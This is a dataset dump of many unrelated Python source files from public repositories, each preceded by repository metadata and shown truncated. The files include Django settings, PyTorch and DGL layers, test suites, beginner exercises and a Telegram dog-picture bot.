2022-09-28T21:58:08.130006
2020-06-04T03:00:56
2020-06-04T03:00:56
269,247,318
0
2
null
null
null
null
UTF-8
Python
false
false
561
py
from coinlib.utils.decorators import dedup def test_dedup(): @dedup(lambda x: x) def gen(it): yield from it assert list(range(3)) == list(gen(range(3))) assert list(range(3)) == list(gen(list(range(3)) * 2)) @dedup(lambda x: x, cache_limit=0) def gen(it): yield from it a...
[ "_" ]
_
b559d304d58a2b548b321a7b94fc9bd9c30cd860
bacc65263d0308d455333add3ff918ee42498f32
/pilarfc_crowdbotics_123/settings.py
e4fbdbe907c6641a2a41bf63b3ad341bf211488d
[]
no_license
crowdbotics-users/pilarfc-crowdbotics-123
7d248119ab44ddc8e3c6fb0de866796530d98ba0
aea7b9bf645ac60fbe173f6517727675743a60be
refs/heads/master
2020-03-13T09:39:30.290774
2018-04-25T22:02:42
2018-04-25T22:02:42
131,068,534
0
0
null
null
null
null
UTF-8
Python
false
false
3,600
py
""" Django settings for pilarfc_crowdbotics_123 project. Generated by 'django-admin startproject' using Django 1.11.5. For more information on this file, see https://docs.djangoproject.com/en/1.11/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.11/ref/settings...
[ "sp.gharti@gmail.com" ]
sp.gharti@gmail.com
bd689ff301eace5907505fe34ea81ed7774859e8
27b1d48534a3f35d1286498e84df8333250f51a8
/Exam-Preparation/Mid Exam/treasure_hunt.py
0a7d90b968fe4f26fca2191c7289aa538ed23735
[]
no_license
zhyordanova/Python-Fundamentals
f642f841629c99fcdd12ace79ea813d62972f36f
07c16053e5d03bd7cfb51ace8ef277c2c62cd927
refs/heads/main
2023-03-19T03:05:12.764726
2021-03-15T08:20:39
2021-03-15T08:20:39
345,451,804
0
0
null
null
null
null
UTF-8
Python
false
false
833
py
loot = input().split("|") command = input() while not command == "Yohoho!": tokens = command.split() if tokens[0] == "Loot": items = tokens[1:] [loot.insert(0, x) for x in items if x not in loot] elif tokens[0] == "Drop": index = int(tokens[1]) if 0 <= index < len(loot): ...
[ "zhyordanova88@gmail.com" ]
zhyordanova88@gmail.com
02f1fdb651c4922014a525edd14cf31d10ac08d1
de24f83a5e3768a2638ebcf13cbe717e75740168
/moodledata/vpl_data/320/usersdata/287/88404/submittedfiles/lecker.py
85af5097a574ebcfbb8bd3fd8a186df71506f904
[]
no_license
rafaelperazzo/programacao-web
95643423a35c44613b0f64bed05bd34780fe2436
170dd5440afb9ee68a973f3de13a99aa4c735d79
refs/heads/master
2021-01-12T14:06:25.773146
2017-12-22T16:05:45
2017-12-22T16:05:45
69,566,344
0
0
null
null
null
null
UTF-8
Python
false
false
359
py
# -*- coding: utf-8 -*- import math a=int(input('Digite o primeiro valor: ')) b=int(input('Digite o segundo valor: ')) c=int(input('Digite o terceiro valor: ')) d=int(input('Digite o quarto valor: ')) A=0 B=0 C=0 D=0 if a>b: A=1 if b>a or b>c: B=1 if c>b or c>d: C=1 if d>c: D=1 lecker=A+B+C+D if lecker=...
[ "rafael.mota@ufca.edu.br" ]
rafael.mota@ufca.edu.br
4e53ec0a5b834c3009372939a3bcc6d387cb6878
9ecf6dfe87999f0c510c1d67e2b1cf6ca5b53e52
/example/voxelize_chair.py
cd739c8722d72501d5c0aedf805d9f26d41f9adc
[ "MIT" ]
permissive
marian42/mesh_to_sdf
b43cdcb87c2845bebc7b928ccacbf0d2c0a9b50d
66036a747e82e7129f6afc74c5325d676a322114
refs/heads/master
2023-04-17T10:23:31.431009
2021-03-11T23:31:12
2021-03-11T23:31:12
234,407,235
847
95
MIT
2023-04-11T16:05:04
2020-01-16T20:37:53
Python
UTF-8
Python
false
false
778
py
import numpy as np from mesh_to_sdf import get_surface_point_cloud, scale_to_unit_sphere import trimesh import skimage, skimage.measure import os mesh = trimesh.load('example/chair.obj') mesh = scale_to_unit_sphere(mesh) print("Scanning...") cloud = get_surface_point_cloud(mesh, surface_point_method='scan', scan_coun...
[ "mail@marian42.de" ]
mail@marian42.de
1d06f0506e12e305f72fcf5c58609e5187a954f9
e74e55d174772975a3c16d4aa1210215fa698528
/oim_cms/utils.py
8a04ac90651f889c22066ac36e6cc785af2af1c5
[ "Apache-2.0" ]
permissive
tawazz/oim-cms
2c0417863fef24f3a3b2d75dfdd88d8850b9354d
eef09ef42b20a08ff25f3c4ff12d50db14d54416
refs/heads/master
2021-01-11T01:53:15.879813
2016-10-19T02:24:07
2016-10-19T02:24:07
70,650,009
0
0
null
2016-10-12T01:25:30
2016-10-12T01:25:30
null
UTF-8
Python
false
false
5,063
py
from __future__ import unicode_literals, absolute_import from django.http import HttpResponse from djqscsv import render_to_csv_response from restless.dj import DjangoResource class CSVDjangoResource(DjangoResource): """Extend the restless DjangoResource class to add a CSV export endpoint. """ @classmetho...
[ "ashley@ropable.com" ]
ashley@ropable.com
f103be505d481cde896fad037384c1a62102c59f
69d93f48410e88e26e9193d63ba29ecb6cbe7324
/models/BasicModule.py
d8e35a9a73ec12065f2b90c0c9182864265cccbd
[]
no_license
JalexDooo/BrainstormTS20-Paper4
825075e63258d98073ecc719209f1162449aa74e
8886ce54c81a51c58ad49de857d025600925be14
refs/heads/main
2023-06-06T22:14:05.480858
2021-07-15T02:31:34
2021-07-15T02:31:34
373,693,324
0
2
null
null
null
null
UTF-8
Python
false
false
10,147
py
import torch import torch.nn as nn class ConvBlock(nn.Module): """ 正卷积 """ def __init__(self, input_data, output_data): super(ConvBlock, self).__init__() self.conv1 = nn.Sequential( nn.Conv3d(input_data, output_data, kernel_size=3, stride=1, padding=1), nn.B...
[ "393351322@qq.com" ]
393351322@qq.com
607a3c53f503aaa66c8d67493bd4f30be15d4b1a
ec09932ef977bb0f9117193c3200b0807c588542
/unreleased/azure-mgmt-search/azure/mgmt/search/models/check_name_availability_input.py
581958b5b33330d131bc6863bc2e77ec646619c6
[ "MIT" ]
permissive
biggorog/azure-sdk-for-python
26b9111f5d939e68374e2ff92dd5a3e127100a49
31e15670100f57a03aac9ada5fd83eedc230e291
refs/heads/master
2020-12-24T11:37:13.806672
2016-11-04T20:50:04
2016-11-04T20:50:04
73,026,650
1
0
null
2016-11-06T23:48:38
2016-11-06T23:48:37
null
UTF-8
Python
false
false
1,522
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes ...
[ "lmazuel@microsoft.com" ]
lmazuel@microsoft.com
9773cad5194ddefe461acc4a4d927159764b2b90
fd0c7c10303ce93590af1a03ecf0fc272a396ade
/scripts/build_mod_picoblade.py
b761e0377b2d3ff3f37ea708c4f493ef48e2d744
[ "MIT", "LicenseRef-scancode-unknown-license-reference" ]
permissive
adamgreig/agg-kicad
13eae98991a266955cac434ba9f43b69b1d5dbd5
5bf13b52fcacf7aedbacb884e0884819083a3bb7
refs/heads/master
2023-02-04T12:25:03.905819
2023-02-02T02:01:10
2023-02-02T02:01:10
45,762,615
157
52
MIT
2022-07-19T12:39:05
2015-11-08T01:42:57
Python
UTF-8
Python
false
false
5,989
py
""" build_mod_picoblade.py Copyright 2019 Adam Greig Licensed under the MIT licence, see LICENSE file for details. Generate foorprints for Molex Picoblade connectors. """ from __future__ import print_function, division import os import sys import time import math import argparse from sexp import parse as sexp_parse...
[ "adam@adamgreig.com" ]
adam@adamgreig.com
0c4bd2476662725bc512930b35d9f2125533ec69
ce083128fa87ca86c65059893aa8882d088461f5
/python/sistema-de-medicamentos-pytest/.venv/lib/python2.7/site-packages/tests/test_sort_query.py
3e14b9edc323ac1925cc4a9556e6985ce77414d7
[]
no_license
marcosptf/fedora
581a446e7f81d8ae9a260eafb92814bc486ee077
359db63ff1fa79696b7bc803bcfa0042bff8ab44
refs/heads/master
2023-04-06T14:53:40.378260
2023-03-26T00:47:52
2023-03-26T00:47:52
26,059,824
6
5
null
2022-12-08T00:43:21
2014-11-01T18:48:56
null
UTF-8
Python
false
false
5,669
py
from pytest import raises import sqlalchemy as sa from sqlalchemy_utils import sort_query from sqlalchemy_utils.functions import QuerySorterException from tests import TestCase class TestSortQuery(TestCase): def test_without_sort_param_returns_the_query_object_untouched(self): query = self.session.query(s...
[ "marcosptf@yahoo.com.br" ]
marcosptf@yahoo.com.br
8016219e342f85c4bd7d288538db7b88088d5f0d
abfc3a43aabace5afd55910279af61e5849963a2
/examples/app.py
b8b9796f6f16a785768f50131c482e0d9b5467e7
[]
no_license
kemingy/ventu
6b89c70222e961ef8bd52a6c3a1816edde664d8c
4a13f9c212c3d468de7ad234d036870857ae7499
refs/heads/master
2023-08-17T04:45:34.643958
2021-10-06T12:48:47
2021-10-06T12:48:47
249,647,511
8
0
null
2020-06-29T04:13:36
2020-03-24T08:03:45
Python
UTF-8
Python
false
false
3,203
py
import argparse import logging import numpy as np import torch from pydantic import BaseModel, confloat, constr from transformers import DistilBertTokenizer, DistilBertForSequenceClassification from ventu import Ventu # request schema used for validation class Req(BaseModel): # the input sentence should be at l...
[ "kemingy94@gmail.com" ]
kemingy94@gmail.com
5d1bedf2cbaa792dbc6e79da13882ee28ac23f02
5085dfd5517c891a1f5f8d99bf698cd4bf3bf419
/011.py
d86312728c2b2022599d385aa1a6c6bbb68e2b38
[]
no_license
Lightwing-Ng/100ExamplesForPythonStarter
01ffd4401fd88a0b997656c8c5f695c49f226557
56c493d38a2f1a1c8614350639d1929c474de4af
refs/heads/master
2020-03-10T22:07:37.340512
2018-04-15T13:16:30
2018-04-15T13:16:30
129,611,532
0
0
null
null
null
null
UTF-8
Python
false
false
574
py
#!/usr/bin/env python # _*_ coding:utf-8 _*_ """ * @author: Lightwing Ng * email: rodney_ng@iCloud.com * created on Apr 14, 2018, 8:00 PM * Software: PyCharm * Project Name: Tutorial 题目:古典问题:有一对兔子,从出生后第3个月起每个月都生一对兔子,小兔子长到第三个月后每个月又生一对兔子,假如兔子都不死,问每个月的兔子总数为多少? 程序分析:兔子的规律为数列1,1,2,3,5,8,13,21.... """ a = 1 b = 1 for ...
[ "rodney_ng@icloud.com" ]
rodney_ng@icloud.com
5a54740afe15070b39db9868f83c1a098155c9fe
4cf3f8845d64ed31737bd7795581753c6e682922
/.history/main_20200118153225.py
768d223f5d13b7b680d5a1455bcc39df9f6456b2
[]
no_license
rtshkmr/hack-roll
9bc75175eb9746b79ff0dfa9307b32cfd1417029
3ea480a8bf6d0067155b279740b4edc1673f406d
refs/heads/master
2021-12-23T12:26:56.642705
2020-01-19T04:26:39
2020-01-19T04:26:39
234,702,684
1
0
null
2021-12-13T20:30:54
2020-01-18T08:12:52
Python
UTF-8
Python
false
false
351,339
py
from telegram.ext import Updater, CommandHandler import requests import re # API call to source, get json (url is obtained): contents = requests.get('https://random.dog/woof.json').json() image_url = contents['url'] def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = cont...
[ "ritesh@emerald.pink" ]
ritesh@emerald.pink
96b00132f49b7b82711d9026c6d8585b771ebd65
5813c01847dd998df24510f1219a44c10717e65f
/flamingo/plugins/feeds.py
6e06bc90a44416fa14250f12bd15cb5b8a4dde47
[ "Apache-2.0" ]
permissive
robert-figura/flamingo
da52e8e3f3cf29f59f393ebae23b3a732f4143bd
63cbc5519b6e6b23a31d4e5153dd84976b6ef39f
refs/heads/master
2020-08-03T19:14:23.390513
2019-09-12T18:42:14
2019-09-30T14:35:51
211,857,258
0
0
null
null
null
null
UTF-8
Python
false
false
3,266
py
import logging from feedgen.feed import FeedGenerator logger = logging.getLogger('flamingo.plugins.Feeds') class Feeds: def pre_build(self, context): FEEDS_DOMAIN = getattr(context.settings, 'FEEDS_DOMAIN', '/') FEEDS = getattr(context.settings, 'FEEDS', []) for feed_config in FEEDS: ...
[ "f.scherf@pengutronix.de" ]
f.scherf@pengutronix.de
531687d1a028a86dd301e9e9d25034c0d5df19cd
b10c3eb402e155da2eba5d4e6175f0ea145685be
/Practice/Python/py-introduction-to-sets.py
d7854cad492b52c7eb421ebea5946ecf5d4168f3
[]
no_license
prayagsrivastava/HackerRank
2c3cff07a7de125d016eaa9510f488ea7f72015c
e5a5fbd6286ac3cc44a65c4408e6c983fdeb0c8e
refs/heads/master
2023-08-18T10:03:48.473061
2021-10-12T19:33:56
2021-10-12T19:33:56
405,563,300
0
0
null
null
null
null
UTF-8
Python
false
false
1,746
py
def average(array): a = set(array) s = sum(a)/len(a) return f"{s:.3f}" if __name__ == '__main__': n = int(input()) arr = list(map(int, input().split())) result = average(arr) print(result) """ >> a = raw_input() 5 4 3 2 >> lis = a.split() >> print (lis) ['5', '4', '3', '2'] >> newlis = l...
[ "prayag@outlook.in" ]
prayag@outlook.in
9f8af437d7187a9b8c4ce3def70c252d1776f115
5f447244723386902a5fbbb94ae45e5e04ec4d93
/08-函数/动手试一试/user_albums.py
2cd6e951005923b7ec008c846c7de6d3b3d4c750
[]
no_license
xuelang201201/PythonCrashCourse
2c0a633773340b748100a3349267e693ed2703da
55c729ec53c7870a327e5017e69ac853b024d58a
refs/heads/master
2022-09-12T06:13:14.302904
2020-05-30T07:40:24
2020-05-30T07:40:24
264,503,065
0
0
null
null
null
null
UTF-8
Python
false
false
918
py
""" 用户的专辑:在为完成练习 8-7 编写的程序中,编写一个 while 循环,让用户输入一个专辑的歌手和名称。获取这些信息后, 使用它们来调用函数 make_album(),并将创建的字典打印出来。在这个 while 循环中,务必要提供退出途径。 """ def make_album(artist, title, tracks=int()): album_dict = { 'artist': artist.title(), 'title': title.title(), } if tracks: album_dict['tracks'] = track...
[ "xuelang201201@gmail.com" ]
xuelang201201@gmail.com
a8e929b25a61e9552c4e32c67d6c3fa98304d4f0
79f42fd0de70f0fea931af610faeca3205fd54d4
/base_lib/ChartDirector/pythondemo_cgi/realtimedemo.py
51f8dc21d7e9e74fb3657b15b89712634d16efbc
[ "IJG" ]
permissive
fanwen390922198/ceph_pressure_test
a900a6dc20473ae3ff1241188ed012d22de2eace
b6a5b6d324e935915090e791d9722d921f659b26
refs/heads/main
2021-08-27T16:26:57.500359
2021-06-02T05:18:39
2021-06-02T05:18:39
115,672,998
0
0
null
null
null
null
UTF-8
Python
false
false
3,605
py
#!/usr/bin/python from pychartdir import * # # In this demo, the generated web page needs to load the "cdjcv.js" Javascript file. For ease of # installation, we put "cdjcv.js" in the same directory as this script. However, if this script is # installed in a CGI only directory (such as cgi-bin), the web server would no...
[ "fanwen@sscc.com" ]
fanwen@sscc.com
e83afab00de38ccdccb7b53ebfa70b75e720ec5d
c9ddbdb5678ba6e1c5c7e64adf2802ca16df778c
/cases/synthetic/coverage-big-388.py
506ecf30dc7aa199064945d3322898ab96c57133
[]
no_license
Virtlink/ccbench-chocopy
c3f7f6af6349aff6503196f727ef89f210a1eac8
c7efae43bf32696ee2b2ee781bdfe4f7730dec3f
refs/heads/main
2023-04-07T15:07:12.464038
2022-02-03T15:42:39
2022-02-03T15:42:39
451,969,776
0
0
null
null
null
null
UTF-8
Python
false
false
13,350
py
count:int = 0 count2:int = 0 count3:int = 0 count4:int = 0 count5:int = 0 def foo(s: str) -> int: return len(s) def foo2(s: str, s2: str) -> int: return len(s) def foo3(s: str, s2: str, s3: str) -> int: return len(s) def foo4(s: str, s2: str, s3: str, s4: str) -> int: return len(s) def foo5(s: str,...
[ "647530+Virtlink@users.noreply.github.com" ]
647530+Virtlink@users.noreply.github.com
f7b39d51deee02aba20f484a17ca18c9719fd1b2
a2f6e449e6ec6bf54dda5e4bef82ba75e7af262c
/venv/Lib/site-packages/pandas/tests/generic/test_frame.py
334651eb42df4f06b3c9078bb7055ef7355b38f6
[]
no_license
mylonabusiness28/Final-Year-Project-
e4b79ccce6c19a371cac63c7a4ff431d6e26e38f
68455795be7902b4032ee1f145258232212cc639
refs/heads/main
2023-07-08T21:43:49.300370
2021-06-05T12:34:16
2021-06-05T12:34:16
null
0
0
null
null
null
null
UTF-8
Python
false
false
129
py
version https://git-lfs.github.com/spec/v1 oid sha256:c2f9e8ecaccad5fbdf2183633d20185b2b53f18c7eca55721455ca2366e3ce31 size 7441
[ "chuksajeh1@gmail.com" ]
chuksajeh1@gmail.com
2209465c41bec4b36500babebeff0c642f924940
b0f0bd131bbfc287f2d8393fcf6aaabd99b17e05
/db_create.py
5f7295adc0feb3e6fe82b6a31f45750f7ee23f24
[]
no_license
jreiher2003/casino
b19380364d57fba7bc3a772a19cf8caa8b55585c
bd6b12740c84c82dd5589a9aa414d6053c997739
refs/heads/master
2021-01-11T14:50:29.024326
2017-02-12T12:33:08
2017-02-12T12:33:08
80,230,542
1
0
null
null
null
null
UTF-8
Python
false
false
1,523
py
import pymongo from pymongo import MongoClient from datetime import datetime conn = MongoClient("mongodb://finn:finn7797@localhost:27017/casino") db = conn.casino.test_col # blog_record = {} blog_record = { "author": "erlichson", "body": "This is a test body", "comments": [ { ...
[ "jreiher2003@yahoo.com" ]
jreiher2003@yahoo.com
617fb94131635549bc2bcc55ed6c5531eed3c24c
94e6b634335d310daed51687ccb6206ce10c7807
/permutation_sequence.py
b6216a32418a1b28690a18106e2cf89712e5dfaa
[ "MIT" ]
permissive
lutianming/leetcode
4fdbdd852353e1682794ee4b2557389810f07293
848c7470ff5fd23608cc954be23732f60488ed8a
refs/heads/master
2021-01-19T11:45:25.352432
2015-07-26T11:57:21
2015-07-26T11:57:21
18,801,366
0
0
null
null
null
null
UTF-8
Python
false
false
581
py
class Solution: # @return a string def getPermutation(self, n, k): num = 1 for i in range(n): num *= (i+1) if k < 1 or k > num: return None k = k-1 seq = [i+1 for i in range(n)] permutation = '' subk = 1 for i in range(n, 0,...
[ "lutianming1005@gmail.com" ]
lutianming1005@gmail.com
5ac3f83fe5ba0066a76f4ced6242806d952e696c
ddf002d1084d5c63842a6f42471f890a449966ee
/basics/Python/PYTHON --------/oops/aaaa.py
8fccdfcb19262491e0eb8104cd18e8fae6d1bba7
[]
no_license
RaghavJindal2000/Python
0ab3f198cbc5559bdf46ac259c7136356f7f09aa
8e5c646585cff28ba3ad9bd6c384bcb5537d671a
refs/heads/master
2023-01-01T23:56:02.073029
2020-10-18T19:30:01
2020-10-18T19:30:01
263,262,452
0
0
null
null
null
null
UTF-8
Python
false
false
132
py
class Sample: def __init__(self,x): self.x = x def __add__(self,other): print(self.x*other.x) a=Sample(5) b=Sample(10) a+b
[ "40332753+RaghavJindal2000@users.noreply.github.com" ]
40332753+RaghavJindal2000@users.noreply.github.com
e659c649568c307b7c87fdc07812a8ce61a9f74f
f9ff85c981942d15c65d37de107e0c5fa5e6a2ba
/pychron/hardware/fusions/fusions_logic_board.py
20aec5ae329998db4a7d549961fe38af8c00c444
[ "Apache-2.0" ]
permissive
kenlchen/pychron
0c729f1b1973b9883734007b7a318fe21669e6c1
ffd988e27ae09fb3e8a8790d87ff611557911d07
refs/heads/master
2021-01-24T21:53:42.293554
2016-04-04T07:18:39
2016-04-04T07:18:39
null
0
0
null
null
null
null
UTF-8
Python
false
false
12,123
py
# =============================================================================== # Copyright 2011 Jake Ross # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licens...
[ "jirhiker@gmail.com" ]
jirhiker@gmail.com
b7d6112a988c2054ed227e17d4af0f39335b9cfb
d2fe0e203df127f0a823ca5f1cc2a50c3ae7451e
/dask_image/ndfilters/_gaussian.py
675334d6f433a149add1adf587a7fc70f257133e
[ "BSD-3-Clause" ]
permissive
awesome-archive/dask-image
78e8f1666d59293dc69fb34afbda23de2c3822fb
21047b4d7e882441754b94894013cb3ec9b5b396
refs/heads/master
2021-06-19T01:39:04.882036
2019-02-14T17:06:30
2019-02-14T17:06:30
170,795,341
0
0
BSD-3-Clause
2020-01-13T04:40:59
2019-02-15T03:20:12
Python
UTF-8
Python
false
false
3,181
py
# -*- coding: utf-8 -*- import numbers import numpy import scipy.ndimage.filters from . import _utils def _get_sigmas(input, sigma): ndim = input.ndim nsigmas = numpy.array(sigma) if nsigmas.ndim == 0: nsigmas = numpy.array(ndim * [nsigmas[()]]) if nsigmas.ndim != 1: raise Runtim...
[ "noreply@github.com" ]
awesome-archive.noreply@github.com
f4724ae50443e1ccbbe1fff7f928824f75702d3d
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p02555/s538632738.py
23cc590fdcbf56a8cc888767b524fbc44b81c985
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
330
py
S = int(input()) mod = 10 ** 9 + 7 f = [1] for i in range(1,2000): f.append((f[-1] * i) % mod) def comb(n,r): return f[n] * (pow(f[r], mod-2, mod) * pow(f[n-r], mod-2, mod) % mod) % mod ans = 0 for i in range(1,700): s = S - (3 * i) if s < 0: break ans += comb(s+i-1, i-1) ans %= mod ...
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
fbe0cb0284b16b5fffa9b4cb8e25af885f33bc29
98f1a0bfa5b20a0b81e9e555d76e706c62d949c9
/python/dgl/nn/tensorflow/conv/sageconv.py
d37bff20b2b56efd1bdc98450a987ef15892540b
[ "Apache-2.0" ]
permissive
dmlc/dgl
3a8fbca3a7f0e9adf6e69679ad62948df48dfc42
bbc8ff6261f2e0d2b5982e992b6fbe545e2a4aa1
refs/heads/master
2023-08-31T16:33:21.139163
2023-08-31T07:49:22
2023-08-31T07:49:22
130,375,797
12,631
3,482
Apache-2.0
2023-09-14T15:48:24
2018-04-20T14:49:09
Python
UTF-8
Python
false
false
8,389
py
"""Tensorflow Module for GraphSAGE layer""" # pylint: disable= no-member, arguments-differ, invalid-name import tensorflow as tf from tensorflow.keras import layers from .... import function as fn from ....base import DGLError from ....utils import check_eq_shape, expand_as_pair class SAGEConv(layers.Layer): r""...
[ "noreply@github.com" ]
dmlc.noreply@github.com
dd13976ac5b9b1d7d3c91724bd781689aea63400
bd8532378ad2a61240faaa7be8ef44c60c055a2a
/rabona/data/leagues/Campeonato Scotiabank/San Luis/San Luis.py
bab8b8776851cf081d0374f9e793d0e82d7e98f0
[]
no_license
nosoyyo/rabona
278a9dfe158e342261343b211fb39b911e993803
b0af3ab5806675fbf81b038633a74943118a67bb
refs/heads/master
2020-03-16T06:56:55.277293
2018-05-30T11:45:51
2018-05-30T11:45:51
132,565,989
2
1
null
2018-05-30T11:45:52
2018-05-08T06:44:11
Python
UTF-8
Python
false
false
220
py
club_info = {'club_url': 'https://www.futbin.com///18/leagues/Campeonato%20Scotiabank?page=1&club=112668', 'club_logo': 'https://cdn.futbin.com/content/fifa18/img/clubs/112668.png', 'club_name': 'San Luis'} players = {}
[ "oyyoson@gmail.com" ]
oyyoson@gmail.com
f0a909ca5858215c7001a0ceeb0fc4ee93eddcb0
d66818f4b951943553826a5f64413e90120e1fae
/hackerearth/Math/Number Theory/Primality Tests/Does it divide/solution.py
28584b27d406a332fb41da73ba15b6bd2ef85ba0
[ "MIT" ]
permissive
HBinhCT/Q-project
0f80cd15c9945c43e2e17072416ddb6e4745e7fa
19923cbaa3c83c670527899ece5c3ad31bcebe65
refs/heads/master
2023-08-30T08:59:16.006567
2023-08-29T15:30:21
2023-08-29T15:30:21
247,630,603
8
1
MIT
2020-07-22T01:20:23
2020-03-16T06:48:02
Python
UTF-8
Python
false
false
438
py
def is_prime(x): if x <= 1: return False if x == 2 or x == 3: return True if x % 2 == 0 or x % 3 == 0: return False for i in range(5, int(x ** .5) + 1, 6): if x % i == 0 or x % (i + 2) == 0: return False return True t = int(input()) for _ in range(t): ...
[ "hbinhct@gmail.com" ]
hbinhct@gmail.com
bdd0376a1a5e1f7923757707b3f9c48f6dfa4c24
f2bad7b28fb4acade3785fc2040f8ec5e7e51022
/tests/test_server.py
e7ba16fad3e42d5fe8c0768657a1beeb6fd4fef3
[ "MIT", "Apache-2.0", "LicenseRef-scancode-generic-cla" ]
permissive
xiaoyao1949/rasa_1.2.2
a3a5315579b7ae2178e08565a3388adaf99d6f1f
7638f13f50a881d4cf6ddb62246ab1db1491a846
refs/heads/master
2022-12-01T00:32:41.989135
2019-08-15T08:57:58
2019-08-15T08:57:58
202,452,126
4
2
Apache-2.0
2022-11-21T21:32:43
2019-08-15T01:29:52
Python
UTF-8
Python
false
false
24,926
py
# -*- coding: utf-8 -*- import os import tempfile import uuid from typing import List, Text, Type from aioresponses import aioresponses import pytest from freezegun import freeze_time from mock import MagicMock import rasa import rasa.constants from rasa.core import events, utils from rasa.core.channels import Colle...
[ "xiaoyao1949@outlook.com" ]
xiaoyao1949@outlook.com
bd63cfe681913e3127aeabfd924d544aba02e68e
32c56293475f49c6dd1b0f1334756b5ad8763da9
/google-cloud-sdk/lib/third_party/kubernetes/client/models/v1beta1_api_service_list.py
881cd62e4beaeedd82f3052769f50e052fb43ba9
[ "LicenseRef-scancode-unknown-license-reference", "Apache-2.0", "MIT" ]
permissive
bopopescu/socialliteapp
b9041f17f8724ee86f2ecc6e2e45b8ff6a44b494
85bb264e273568b5a0408f733b403c56373e2508
refs/heads/master
2022-11-20T03:01:47.654498
2020-02-01T20:29:43
2020-02-01T20:29:43
282,403,750
0
0
MIT
2020-07-25T08:31:59
2020-07-25T08:31:59
null
UTF-8
Python
false
false
5,935
py
# coding: utf-8 """ Kubernetes No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) OpenAPI spec version: v1.14.4 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from pprint import pformat from six import iteritems import re ...
[ "jonathang132298@gmail.com" ]
jonathang132298@gmail.com
8cfa7cb535469c42203abb7300b424594d6d4a35
aafba3346120db47cf87ba67dee21848576c337f
/tests/core/full_node/test_initial_freeze.py
732854bb12e3111b9db858b3c1b94eb607b57f7c
[ "Apache-2.0" ]
permissive
beetseeds/beet-blockchain
9f7fa9e221364bb865a8b9f60455afc82b4a022b
e5d93f1f9041c48dd0c38416d845c8675bf22738
refs/heads/main
2023-07-14T21:30:18.089664
2021-09-10T01:40:00
2021-09-10T01:40:00
401,708,903
5
3
Apache-2.0
2021-09-05T09:26:51
2021-08-31T13:14:50
Python
UTF-8
Python
false
false
8,374
py
import asyncio import time import pytest from beet.consensus.block_rewards import calculate_base_farmer_reward, calculate_pool_reward from beet.consensus.blockchain import ReceiveBlockResult from beet.protocols import full_node_protocol, wallet_protocol from beet.protocols.protocol_message_types import ProtocolMessag...
[ "89267907+BEET-BLOCKCHAIN@users.noreply.github.com" ]
89267907+BEET-BLOCKCHAIN@users.noreply.github.com
3885aebb72cf173ed1f34761cc278cbade2a89c0
292cec77b5003a2f80360d0aee77556d12d990f7
/typings/fs/opener/appfs.pyi
2482685ff2801c22c4fb2e0cd2c5f3b9f9f5127e
[ "Apache-2.0" ]
permissive
yubozhao/BentoML
194a6ec804cc1c6dbe7930c49948b6707cbc3c5f
d4bb5cbb90f9a8ad162a417103433b9c33b39c84
refs/heads/master
2022-12-17T00:18:55.555897
2022-12-06T00:11:39
2022-12-06T00:11:39
178,978,385
3
0
Apache-2.0
2020-12-01T18:17:15
2019-04-02T01:53:53
Python
UTF-8
Python
false
false
506
pyi
import typing from typing import Text, Union from ..appfs import _AppFS from ..subfs import SubFS from .base import Opener from .parse import ParseResult from .registry import registry if typing.TYPE_CHECKING: ... @registry.install class AppFSOpener(Opener): protocols = ... _protocol_mapping = ... def ope...
[ "noreply@github.com" ]
yubozhao.noreply@github.com
c2cafed7af5e12bc673a1fd9dc109743cfb833de
ce745254ee1c55f06c90b2c0739a4db29efa9913
/src/test/python/cpython-3f944f44ee41/Lib/test/test_selectors.py
8f83c90a7ad169e7b562183c7a3a0b03f5e6df9d
[ "MIT" ]
permissive
bkiers/python3-parser
5deb0c681e42b07d459758d864fd0689bf26dbad
5a7e097f2dba8d38fa41ebfc95c8bdf4da3042dd
refs/heads/master
2022-10-31T22:02:07.484767
2021-11-17T09:31:49
2021-11-17T09:31:49
20,738,250
39
25
MIT
2022-12-13T08:42:28
2014-06-11T19:34:28
Python
UTF-8
Python
false
false
14,138
py
import errno import os import random import selectors import signal import socket from test import support from time import sleep import unittest import unittest.mock try: from time import monotonic as time except ImportError: from time import time as time try: import resource except ImportError: resour...
[ "bkiers@gmail.com" ]
bkiers@gmail.com
f4a25896e546374e0f6ccf4c1c1b90b47bf1f1f4
89caf19c6e2c9c0c7590226266a1f1fb2bd13d56
/day1/08-strings.py
b7f7fdf17be5e5abf806af3112b5227f57247cbc
[]
no_license
ash/python-in-5days
2af3e4477210fd6e8710b148a1a3c187604695c2
76252fe2b905d1aee0772908742a6bb814a6ef99
refs/heads/master
2021-04-06T20:47:06.667013
2018-03-21T15:06:05
2018-03-21T15:06:05
125,269,790
0
1
null
null
null
null
UTF-8
Python
false
false
1,000
py
# Quoting strings: single or double quotes are equivalent. # Choose the one that makes it easy to add quotes inside a string: s1 = 'single " quote' s2 = "double ' quotes" # Escpaing characters with a backslash: s3 = 'escape \' continue' print(s3) # More escaped symbols: # \n = newline # \t = tab # \r = line feed # \b...
[ "andy@shitov.ru" ]
andy@shitov.ru
aa9391f19bf035a434073071c54fd1eef693ab39
d094ba0c8a9b1217fbf014aa79a283a49aabe88c
/env/lib/python3.6/site-packages/sympy/assumptions/handlers/matrices.py
55b007a30626f701718009b05a0bfb4ba79b7a4b
[ "Apache-2.0" ]
permissive
Raniac/NEURO-LEARN
d9274e0baadd97bb02da54bdfcf6ca091fc1c703
3c3acc55de8ba741e673063378e6cbaf10b64c7a
refs/heads/master
2022-12-25T23:46:54.922237
2020-09-06T03:15:14
2020-09-06T03:15:14
182,013,100
9
2
Apache-2.0
